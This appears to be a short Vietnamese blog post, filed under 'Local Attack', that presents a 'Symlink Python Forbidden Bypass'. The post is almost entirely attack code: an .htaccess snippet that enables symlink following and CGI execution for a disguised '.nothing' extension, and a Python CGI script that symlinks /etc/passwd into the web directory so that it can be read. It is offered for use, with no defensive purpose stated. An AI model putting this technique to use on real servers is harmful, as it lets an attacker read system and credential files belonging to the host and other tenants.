Trang chủ
»
Local Attack
» Symlink Python Forbidden Bypass
16 thg 6, 2012
Symlink Python Forbidden Bypass
.htacesssOptions FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .nothing
AddHandler cgi-script .nothing
AddHandler cgi-script .nothing
#!/usr/bin/python
print "Content-type: text/html\n\n"
import os
filename = "nothing.txt" #dst
linkto = "/etc/passwd" #source
os.symlink(linkto, filename)
Không có nhận xét nào:
Đăng nhận xét